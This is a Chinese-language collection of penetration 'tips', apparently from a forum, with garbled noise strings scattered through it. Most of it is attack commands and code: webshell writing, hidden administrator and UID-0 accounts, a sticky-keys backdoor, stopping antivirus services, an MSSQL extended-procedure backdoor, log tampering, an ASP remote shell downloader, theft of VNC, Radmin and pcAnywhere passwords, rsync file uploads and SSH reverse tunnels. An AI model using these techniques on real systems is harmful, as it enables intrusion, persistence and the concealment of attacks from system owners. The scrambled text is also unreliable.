渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
4 V  d1 n+ a( X& j0 BIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
; b' H! t- O# a+ ?5 D
" @* ]# b/ Z' m: z( G; Q# P5 bMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
( f  @" ^/ ~6 Q0 x
+ B1 Y2 \+ o- w7 B2 I. rUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
2 N& a& d+ u# z9 IFor Each obj3w In objservice
1 c. z/ q% A  z7 X        If IsNumeric(obj3w.Name)

. I* e8 m" ]4 m9 ?) Z- n/ ~Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
2 j* ?% E" x6 o* N0 f9 z3 j         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

( l1 X: I* P0 C6 s, F<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
- l0 g0 T2 `) S; U6 n
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
! X  C4 N7 {( T4 |( s: U" k     

1 t  Y9 @/ \2 m                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      

         WScript.Echo "ath            : " & VDirObj.Path
: w3 L2 E6 @! r' B: G        End If
( o9 n: S; p' |, _: ]& U. J4 c6 kNext
/ U7 k+ f1 e, G复制代码
( u( [0 B. V3 P. j3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
: @( p) Z9 l" `  T4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
$ q; B0 i$ ^& ]: w3 Iurl/wp-content/plugins/akismet/akismet.php
* x2 y8 O/ |& H/ E( ?: ~# surl/wp-content/plugins/akismet/hello.php
1 X  X. u- z4 s4 K( D) V——————————————————————
phpMyAdmin暴路径办法:
; \0 v' w. N& }2 HphpMyAdmin/libraries/select_lang.lib.php
& F5 O5 O" Z5 [8 |' _phpMyAdmin/darkblue_orange/layout.inc.php
) b) j# J; ^; m7 iphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
) p2 T6 w  c: J$ {' s' ^————————————————————
9 r! H( n5 R5 }, P/ q- f. u网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
$ g; X9 i& K3 g: \* dnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
; a* u( R$ x6 x) _" E1 nEXEC sp_addsrvrolemember 'test, 'sysadmin'
( g" f/ A; f$ z! n) S然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
. O. z! {' ?0 }9 u
" \3 B  }2 \' [) Y; u# ~另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
. u% J# k; q4 @& _: a# vvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
0 [, M3 V7 F1 y4 m  M3 B9 zz.changePassword("123456","")
z.setting("AccountType")=3;
$ m' X5 u1 ?& y) n( w2 d2 @4 n
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
8 \6 d% H$ R! E/ n% Jz.changePassword "123456",""
! M; ]& m, E7 ^z.setting("AccountType")=3
# w" k9 O( F; D" ?6 d$ V* E——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
5 l& |2 d4 N) m" ]9 icacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
& d# m+ X1 x: f! l3 ]a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
& R* [+ Z6 P3 p5 C- f: p. b& t: Lc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
, @9 k5 I& D' |& b9 s& _1 n2003 运行mstsc /console   
  |' p; S; k4 w" f( |! P) v% t% _6 U
" |( j" }3 Y  G1 ?杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
/ T+ b$ Q; G7 {0 K8 D; F2 w0 fnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
# ?' I' m7 F- N& Anet stop "Symantec Event Manager" /y
1 N! [, w& X+ l. G0 l5 K" bnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
3 C5 }! b6 w3 k# w
卖咖啡：net stop "McAfee McShield"
————————————————————
( P7 z5 {0 {; S+ m: D
$ |# A8 N/ z; r" w7 C6 G5次SHIFT：
1 y5 _: E) O$ u* t( t% ]* h4 N& bcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
- {, q( @" p8 u! E$ _  s8 i& Y——————————————————————
; j, j) O! r6 O% k9 Q隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
0 w0 _4 a6 t5 I% F# B6 @——————————————————————
* U% v" e  F$ j; @( p7 O8 P& MMSSQL扩展后门：
5 Q) f" \# ^, {3 G; L! Z- YUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
/ c" y, V# `7 U2 R" f———————————————————————
3 `7 O* ?: o/ a" N7 H9 S日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
, [( {& B4 N/ f用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
$ M/ I  k2 g9 g6 }! ^6 p9 I: O7 [当停止msftpsvc服务后可直接删除ex011124.log
. G# d, N8 s4 C7 a* ^' l/ b. l9 R
- U5 X/ P! h  `  Z5 H7 _  L8 y/ Y7 \MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
6 J5 }  o9 e$ J" f5 [0 ?* L防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

4 p- ~$ H5 l5 p<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
( J: y2 y3 K2 I* [  o# ?On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
, y# V; w0 `% ~5 ~" W, ^) I.Send
GetRemoteData = .ResponseBody
9 y' g/ D1 j' {" m) s# A3 e  }/ [End With
Set Retrieval = Nothing
  ?0 h7 J; S- o; ?+ GSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
( x: ?, C) k; g3 m# k6 c.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
1 E/ H+ }( ^" A, K# XEnd With
2 J7 |8 l1 V$ j8 G6 q2 r: G, iSet Ads=nothing
; E2 i6 k& t- @  A0 d) d2 UEnd Sub
* h  Q. j' K, u( r# s1 T4 g9 U
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

  A# a3 Y% M# m- z8 RVNC提权方法:
- Z, k. [+ V/ M- }5 \/ [利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
) C3 @6 R. C& E3 y4 @( p3 URadmin 默认端口是4899，
0 j* s9 }3 J% b) i6 }HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
/ M8 a1 f, G' U. v) ?5 ^9 ^然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
7 K4 R2 f  H: B* n) l4 |保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
; t! \, }& b( o2 z& CUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
+ F8 w* p! Q) A( U+ y搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
' F! g( T6 @- Y3 y. l% s——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
* ]9 r1 u# m4 p) Y$ q来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
2 p& S0 P) L3 y0 e$ Y0 V没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
, R( m4 p' ?& O; A5 ~
1433 SA点构建注入点。
<%
( u1 @! j# l2 l4 v8 ~$ T+ ]strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
& M7 J2 l$ B7 R, x& a" I  hstrSQLDBPassword = "数据库密码"
4 l, i/ g( Q' u4 u8 t0 ]  FstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
$ W3 ?, A' N* o2 Z+ f8 h/ [strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

4 J3 _( E8 w# p, H( q";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
/ D: M" k( \. `) I  `! Z$ p5 m" K) Vset rs=server.createobject("ADODB.recordset")
id = request("id")
+ o* [2 S; g7 ~strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
, O! I) {1 O0 V3 K5 v%>
复制代码
  F, k8 A" T2 t7 d: Z# z******liunx 相关******
一.ldap渗透技巧
$ J+ \$ U: u2 v, A3 i  t9 G, L1.cat /etc/nsswitch
& @7 ?- Q+ N& q6 J6 j/ {; P看看密码登录策略我们可以看到使用了file ldap模式
4 C( Z1 H+ b- Y7 q& D# L; B# a
2.less /etc/ldap.conf
, X8 n: ^% W- u0 E8 ~base ou=People,dc=unix-center,dc=net
' L  s; T% @+ B7 r# |( w: y3 {找到ou,dc,dc设置
' M9 a! s" L( q( I
$ @$ C& s) G8 N2 u3.查找管理员信息
/ p8 M  s/ A- |# r. x0 o: j匿名方式
% g2 d1 i+ n9 `/ ~' a: I3 `ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

8 z9 F6 n7 o- m' h; X" U"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ W' \8 w% Z# ~. t6 `% f3 s有密码形式
8 s) \" ?- L, f+ ~0 N' Oldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

8 g0 f- v2 B. I* e# W+ S7 {"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* t+ s/ T4 H& {/ x

4.查找10条用户记录
7 {' x; t- k8 W! |( Pldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

- K. }1 u2 q! p0 D  j$ |/ ~实战:
$ k7 c8 |4 F( _: S+ {. C# `1.cat /etc/nsswitch
. y' m/ j/ `$ ~# ?: n看看密码登录策略我们可以看到使用了file ldap模式
+ z7 B9 H9 o0 j0 l" u$ `
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
8 |( K' t+ u& @# }2 D9 b: }
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 R, M7 c/ B! T  l; I. ]
) E3 E. r' Y! e6 b6 ~- `"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 o5 s6 E7 \4 L  O0 ?有密码形式
# a: p3 ^/ s0 o* s* uldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

" ?( X2 h0 M+ R"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ |% C+ l  y, q/ d( N8 F/ F" r2 E0 _

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
* K) [' a- s6 P/ i' A4 t. u& Z
渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
$ V1 N3 c7 L$ W: f1 Pversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
4 s; h. b6 `# |8 }objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
8 d/ z' ]- x7 x) f6 D. ]) |uid: manager
3 Y7 D, o: e' [2 s0 ?objectClass: inetOrgPerson
/ L/ M; S- l- m3 y$ {, X0 y; W3 E0 HobjectClass: organizationalPerson
& }3 _9 b0 ~9 ]" j6 t+ ~9 s2 bobjectClass: person
objectClass: top
! Z9 x0 s$ a; S1 t1 `sn: manager
cn: manager
& B. W" b- o5 h8 a/ _/ F0 h
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
7 l. |' Q, e2 e3 k; ~objectClass: inetOrgPerson
' Z0 Z* `, R/ v( m% V% fobjectClass: organizationalPerson
; Q9 J, K  P1 P$ e' [) K; s4 uobjectClass: person
# d& ]  b5 F5 d6 Y1 oobjectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
* e! z( b/ o' m6 [/ l- puid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
0 I" [# j6 B+ j, x4 _3 s  ?- z3 `9 |objectClass: top
sn: admin
0 B& C4 k) m$ w2 Y- n6 U# J* Ncn: admin

4 ^6 f( y3 B) a: d9 Pdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
! u+ _# q9 h9 p# K% C! ]9 Suid: dcp_anonymous
/ j* _+ c! \* h& {$ JobjectClass: top
0 |  |: E" ]8 ^objectClass: person
- B1 j0 O1 O, P- Z9 z6 L  j, YobjectClass: organizationalPerson
4 b9 F- ~# k2 M$ q2 f. IobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
# ]5 Z9 r  J/ V, h0 K. r9 r: _7 Z
2.查看基类
/ U) }2 n: h4 E* L, n; c6 bbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
+ `2 n+ k: Q; ?8 M. udn: dc=ruc,dc=edu,dc=cn
; p' x3 }, f# A0 n+ Odc: ruc
, N" S; A: D' W5 O( YobjectClass: domain

3.查找
/ v; i8 ]: y/ Z, o% S! E5 Ybash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
+ @$ }1 q( U& g- M! s  }dn:
  H  H  c- d7 J' f: }3 AobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
1 a9 l9 \7 ^$ m- O! {supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
6 Y, y/ j8 E7 o) |) JsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
' U, \1 F7 R( f8 j" E5 m6 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
( q- k+ r: A5 I/ n/ w2 v6 usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
4 S; J7 r4 n! Q8 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
: `- K5 d' B6 ~4 r" G8 b' G7 bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
/ ~8 g# Q. A5 P( M% i% i( t' KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
  ]5 t1 @3 ]  E! }; P8 V- RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
: d. E  g8 I* l2 b! ?4 u: \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
( Y/ `) f" C2 k' }$ L; ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
- U- {: D4 j% ?! H# W/ z: ?, c+ a9 j/ isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
1 }- Q- e5 {. q0 F! UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
6 i' R$ e( C* @" p$ H' ]/ ], O1 msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
* l, b3 _3 e$ B/ J; \- csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
7 r& t  y. {: X: v0 TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
, R8 n/ g7 M* a& i7 IsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
  K0 Z3 }' h. jsupportedControl: 2.16.840.1.113730.3.4.2
; s; W/ p1 V4 osupportedControl: 2.16.840.1.113730.3.4.3
  d! V& C; I' h2 Z' C1 v  @, t' ~supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
$ x9 v  ~: q8 g) `supportedControl: 1.2.840.113556.1.4.473
/ x4 {" w9 h2 E6 ]" {supportedControl: 2.16.840.1.113730.3.4.9
; D% V5 M) y& b% i" v  `* N/ E! VsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
5 O  G& i- V  H7 k" [5 c) _# z1 VsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
- s$ R4 x- g* E" E7 vsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
9 E- e9 j& p8 e% AsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
5 V1 k, g5 I' g" i( X& d6 }supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
7 L$ d* n# l) x3 {supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
. Q2 D% t, S2 V$ ysupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
' P6 z  r- N$ ksupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
* f0 m  P) N- W6 k, ^* ]supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
# p: }* L9 A, V, f/ e5 _* u! LsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
8 ^& T/ U) w! t$ m) xsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
. o) F6 t7 J( b, q1 YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
% n$ v3 g6 J8 l2 Y) x) fsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
! j5 a# T7 R1 y0 y" MsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
, {9 Y4 O- v7 W+ e: a4 D1 M( nsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
" v2 E- @: m, {supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
9 @. V1 {% d( JsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
1 U  _) u% g$ ~* t$ k; {" MsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
$ L8 ~, b* x2 r$ psupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
' Q  {! j$ h9 c4 y' B2 y1 l' FsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
4 M, P  ?9 m5 qsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
1 _( v" G- {/ W6 _4 g  T5 i  ^% bsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
1 x; t% b$ w" K( f& I  m$ ksupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
, |9 ]- i! w% b7 J( C3 esupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
# G: u4 ^" [. U) E6 rsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
( _$ x$ @( m. q3 j: J# }supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
# L  }$ e5 o" Z: C3 B- u: L. m9 TsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
1 i9 N; Q, }, P2 i  B$ [* U  x% WsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
* S1 t  u- c' }- n! `: [supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
9 ?. c5 s$ z2 w4 r' O4 wsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
& d. F! j( L1 t  xsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
8 v# D& K8 n3 Z2 c————————————
2. NFS渗透技巧
showmount -e ip
列举IP
——————
) r7 T- @& u+ ^* F! M6 j  O3.rsync渗透技巧
, {. i, @. R! N, g9 i: N3 z  l* D1.查看rsync服务器上的列表
rsync 210.51.X.X::
9 l4 k4 P# X; ~! t1 Kfinance
img_finance
auto
9 r$ Q; t& P7 L* T; T3 yimg_auto
( |; @8 R: S" c; I0 ohtml_cms
2 ~; B, [2 x9 Bimg_cms
ent_cms
. g3 a! y! \2 Q$ g5 lent_img
ceshi
& R" Q( \+ v+ \4 L, \9 i+ sres_img
res_img_c2
chip
- b( S4 r& D% ]% schip_c2
! i- W6 _- |; U/ Q6 J' U7 Dent_icms
. r$ ^: Y5 f$ R: d' B6 m: agames
7 T, T! m9 a3 s* Q% M7 agamesimg
media
mediaimg
3 S" x8 L2 q" sfashion
( D$ C0 D& H" ^' C* Hres-fashion
res-fo
taobao-home
res-taobao-home
house
res-house
- R% s+ H4 \- y0 b3 l; dres-home
. h& B( Q5 q( k9 yres-edu
res-ent
res-labs
1 p3 A/ F& h: H, D7 pres-news
0 ~% r2 R+ u( D1 c4 Bres-phtv
res-media
7 K+ A: b* M5 v1 C' V- w: o9 |home
edu
4 u  N. o5 D( fnews
res-book

看相应的下级目录(注意一定要在目录后面添加上/)
: g9 s$ `  ~1 s3 I4 ?: H; e

rsync 210.51.X.X::htdocs_app/
4 D' Q7 l, a4 w9 k7 \rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

5 ~/ n! q3 F. c$ Y% Q2 F2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
7 m4 s2 y$ L  s7 @% p4 U& h
9 y* }" V7 z- t3 y* V4 `3.向上更新rsync文件(成功上传,不会覆盖)
( F" i( K9 _& J8 o0 T4 T7 ~rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

# a0 U* H3 I; e! {9 S四.squid渗透技巧
! }3 [, r' L/ `& U. Enc -vv baidu.com 80
1 I. @( d) ?% r3 y9 F5 zGET HTTP://www.sina.com / HTTP/1.0
, N) x% R) D7 f4 d* WGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
$ s) `# d- F) _" p8 C* b4 y
+ r; R9 g& y4 _$ X# }2 P; A六.joomla渗透小技巧
6 Q5 d: I' q/ O; p确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

9 e+ S/ v8 r! \& G15&catid=32:languages&Itemid=47
9 m% w# }3 J% D, U  m5 d1 F* N  R; x+ a
! a8 m7 Z! J! N6 @* |1 g: u重新设置密码
( B: i8 c8 T, I) i7 rindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
; L1 h( T1 m8 G+ f3 K+ D8 Vuseradd -o -u 0 nothack
, F- Y- r" w5 i
八.freebsd本地提权
! H3 t0 B/ y2 P4 ~7 l. g[argp@julius ~]$ uname -rsi
$ d. ^/ h$ R/ Z* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
- ~0 G* Z0 l5 P( r; B* [argp@julius ~]$ id
8 E+ a6 X4 ^) O' {7 r7 g* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
5 X; u3 [7 w; Z" {+ e7 _* [argp@julius ~]$ ./nfs_mount_ex
% J1 o( A2 \  S& T*
calling nmount()
/ u' s' R0 w' O+ K" k' s0 h  W
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
$ e- \; |7 N# j——————————————
